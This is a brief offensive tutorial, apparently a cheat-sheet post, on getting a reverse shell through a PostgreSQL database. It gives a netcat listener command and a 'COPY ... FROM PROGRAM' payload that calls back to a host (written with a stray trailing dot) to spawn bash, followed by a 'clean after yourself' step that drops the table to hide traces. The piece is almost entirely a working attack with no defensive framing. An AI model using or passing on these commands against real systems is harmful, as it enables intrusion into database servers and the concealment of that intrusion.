The easiest way to get reverse shell through the PostgreSQL database.
1. Connect to the DB
2. Create a new table
CREATE TABLE demo(t text);
3. Run the listener
nc -nlvp 2020
4. Exploit
COPY demo FROM PROGRAM ‘nc 10.10.10.10. 2020 -c bash’;
5. Do not forget to clean after yourself
DROP TABLE demo;
Through PostgreSQL to shell